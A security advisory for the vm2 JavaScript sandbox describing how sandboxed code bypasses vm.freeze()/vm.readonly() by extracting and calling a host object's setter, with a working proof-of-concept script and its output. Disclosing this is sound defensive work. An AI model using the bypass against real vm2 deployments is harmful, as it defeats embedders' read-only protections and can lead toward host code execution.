GHSA-633r-hq9m-c4ff

### Summary Untrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`.

### PoC ```js // poc.js 'use strict'; const { VM } = require('vm2');

let _level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return _level; }, set(v) { _level = String(v); }, enumerable: true, configurable: true, });

const vm = new VM(); vm.freeze(hostConfig, 'cfg');

// Baseline - documented barriers hold: vm.run(`cfg.level = 'via-set';`); vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`); console.log('after [[Set]]/defineProperty:', _level); // → "safe"

// Bypass - sandbox mutates host via accessor descriptor: vm.run(` const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); `); console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED"

// Variant - same sink via __lookupSetter__: vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`); console.log('after __lookupSetter__:', _level); // → "PWNED-2" ```

```sh node poc.js ```

Observed output:

``` after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after __lookupSetter__: PWNED-2 ```

The first line shows `ReadOnlyHandler`'s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`.

### Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder.

**Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise. **Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined. **Persistence**: as persistent as the host object (typically process-lifetime).